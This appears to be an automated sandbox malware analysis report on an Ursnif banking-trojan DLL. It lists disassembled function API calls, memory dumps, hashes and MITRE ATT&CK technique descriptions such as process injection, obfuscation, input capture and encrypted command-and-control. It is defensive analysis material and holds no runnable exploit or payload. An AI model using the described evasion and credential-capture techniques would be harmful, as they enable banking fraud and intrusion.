memcpy.NTDLL(00000000,004F0053,76D269A0,?,?,0344747C,004F0053,05A7937C,?,?,?,?,?,?,03446814), ref: 03447CEF
memcpy.NTDLL(76D269A0,0344747C,00000002,00000000,004F0053,76D269A0,?,?,0344747C,004F0053,05A7937C), ref: 03447D02

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 9a568236474aa0bdeb2888d5348d634e961d9f581eab7f1343602477e1fdbca3
Instruction ID: e7ec93b9ab56645e90509b486bd4f3694eaf475c9fcf906b9dff52299a6b0aff
Opcode Fuzzy Hash: 9a568236474aa0bdeb2888d5348d634e961d9f581eab7f1343602477e1fdbca3
Instruction Fuzzy Hash: 93F03776900118BFDF11EFA9CC85CDE7BACEE092587054066AA08EB215E731EA148BA4

Uniqueness

Uniqueness Score: -1.00%

Function 03443CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(05A79910,00000000,00000000,73FCC740,0344A453,00000000), ref: 03443CD8
lstrlen.KERNEL32(?), ref: 03443CE0

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

lstrcpy.KERNEL32(00000000,05A79910), ref: 03443CF4
lstrcat.KERNEL32(00000000,?), ref: 03443CFF

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 7f90bd6c673ce8b87db6fc063911e4d31c883f8d0afb95e1fc7d22b9bdd8ba0f
Instruction ID: 20d8a30e930c8c539cd8ac6083938050452806c6a3fe23e71c6df596a002a3a6
Opcode Fuzzy Hash: 7f90bd6c673ce8b87db6fc063911e4d31c883f8d0afb95e1fc7d22b9bdd8ba0f
Instruction Fuzzy Hash: 44E09B77501220678711EFD56C48C5FBBEDEF896117084437F600EB114D7248C008BE5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report gg_2.gif.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Function 026712D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 0267269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Function 026783B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 0259348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 02678B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Function 0267ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 02676786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 02671B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 02676A56, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
sleepmemorytimeCOMMON

Function 0267924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 0267225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 02671A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Function 026794A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 026773FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Function 02678504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON